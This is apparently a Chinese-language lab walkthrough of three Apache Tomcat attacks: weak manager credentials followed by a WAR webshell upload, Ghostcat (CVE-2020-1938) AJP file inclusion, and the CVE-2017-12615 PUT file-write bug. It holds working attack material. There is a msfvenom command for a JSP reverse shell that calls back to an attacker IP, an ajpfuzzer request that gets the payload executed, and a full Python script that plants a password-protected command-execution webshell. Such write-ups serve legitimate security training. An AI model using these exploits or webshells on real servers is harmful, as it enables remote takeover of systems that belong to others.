目录

 tomcat8

CVE-2020-1938

CVE-2017-12615

 tomcat8

 环境说明:

Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。

Tomcat7+权限分为:

 - manager(后台管理)    - manager-gui 拥有html页面权限    - manager-status 拥有查看status的权限    - manager-script 拥有text接口的权限,和status权限    - manager-jmx 拥有jmx权限,和status权限  - host-manager(虚拟主机管理)    - admin-gui 拥有html页面权限    - admin-script 拥有text接口权限

开启环境之后浏览器打开,如果不知道tomcat的后台管理页面为manager的话,在本环境中也可以自己摸索出登录框,点击图中任意三个请求之后也能发现登录框

 

 找到登录页面之后尝试tomcat的弱口令,tomcat+tomcat成功登录。

 之后就发现可以进行上传文件的操作

 上传war包getshell,上传完成之后就可以看到多了一栏数据

 打开蚁剑进行连接

成功拿到shell

CVE-2020-1938

Tomcat 是当前最流行的 Java 中间件服务器之一,从初版发布到现在已经有二十多年历史,在世界范围内广泛使用。Ghostcat是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell。

环境启动之后,进行端口扫描

看到有个陌生的ajp13协议,搜索得知这是个定向包协议。因为性能原因,使用二进制格式来传输可读性文本。

访问8080端口,是个tomcat的页面,

接下来我们利用poc进行漏洞检测。若存在漏洞则可以查看webapps目录下的所有文件。

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

cd CNVD-2020-10487-Tomcat-Ajp-lfi

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py #py2环境

我的kali单独使用python命令的话默认用的是python3,所以我跑py2环境的脚本就要在python后加上2。运行之后成功查看web.xml文件。

 验证完成之后就可以进行漏洞利用的操作了,先利用msf生成一个jsp木马

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.217.139 LPORT=4444 R >shell.txt

接着把木马上传到docker容器中

docker cp shell.txt c369ed596440:/usr/local/tomcat/webapps/ROOT/WEB-INF/

 上传完成之后进入msf进行端口监听

再利用poc完成反弹shell 。但是运行shell脚本之后发现msf的端口监听没有反应,又重复了一遍操作,发现还是不行。网上看到文章说可以利用工具发送ajp请求,让上传的文件被tomcat当作jps来解析。下载AJP包构造器ajpfuzzer。

wget https://github.com/doyensec/ajpfuzzer/releases/download/v0.6/ajpfuzzer_v0.6.jar

下载完成之后再运行

java -jar ajpfuzzer_v0.6.jar

然后连接目标端口

connect 192.168.217.134 8009

构造发送AJP包的命令,/WEB-INF/ma.png为上传的木马路径,11.jsp 可换做 *.jsp,任意网站目录下不存在的jsp文件,这样tomcat才会去调用DefaultServlet

forwardrequest 2 "HTTP/1.1" "/11.jsp" 192.168.217.134 192.168.217.134 porto 8009 false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:11.jsp","javax.servlet.include.path_info:/WEB-INF/shell.txt","javax.servlet.include.servlet_path:/"

 发送ajp请求后,shell.txt文件被tomcat作为jsp文件解析,成功getshell

CVE-2017-12615

PUT方法任意写文件漏洞(CVE-2017-12615)

影响范围:Apache Tomcat 7.0.0 - 7.0.81

该版本Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件

环境启动之后浏览器访问,是个正常的tomcat页面。

 我们要往服务器里写入shell,bp抓包,然后修改数据

把get请求修改为POST请求,再改为PUT

发现报错了。虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用`/`)来绕过了限制。

利用脚本

import requests

import sys

import time

'''

Usage:

python CVE-2017-12615.py http://127.0.0.1

shell: http://127.0.0.1/201712615.jsp?pwd=fff&cmd=whoami

'''

def attack(url):

user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"

headers={"User-Agent":user_agent}

data="""<%

if("fff".equals(request.getParameter("pwd"))){

java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();

int a = -1;

byte[] b = new byte[2048];

out.print("

");

while((a=in.read(b))!=-1){

out.println(new String(b));

}

out.print("

");

}

%>"""

try:

requests.put(url, headers=headers, data=data)

time.sleep(2)

verify_response = requests.get(url[:-1], headers=headers)

if verify_response.status_code == 200:

print 'success!'

else :

print verify_response.status_code

except :

"error"

if __name__ == '__main__':

target_url = sys.argv[1] + '/201712615.jsp/'

attack(target_url)

print 'shell: ' + target_url[:-1]

把shell路径复制,后面跟上?pwd=fff&cmd=id,pwd是密码,脚本里面可以修改,cmd是执行的命令,

 

参考链接

评论可见,请评论后查看内容,谢谢!!!评论后请刷新页面。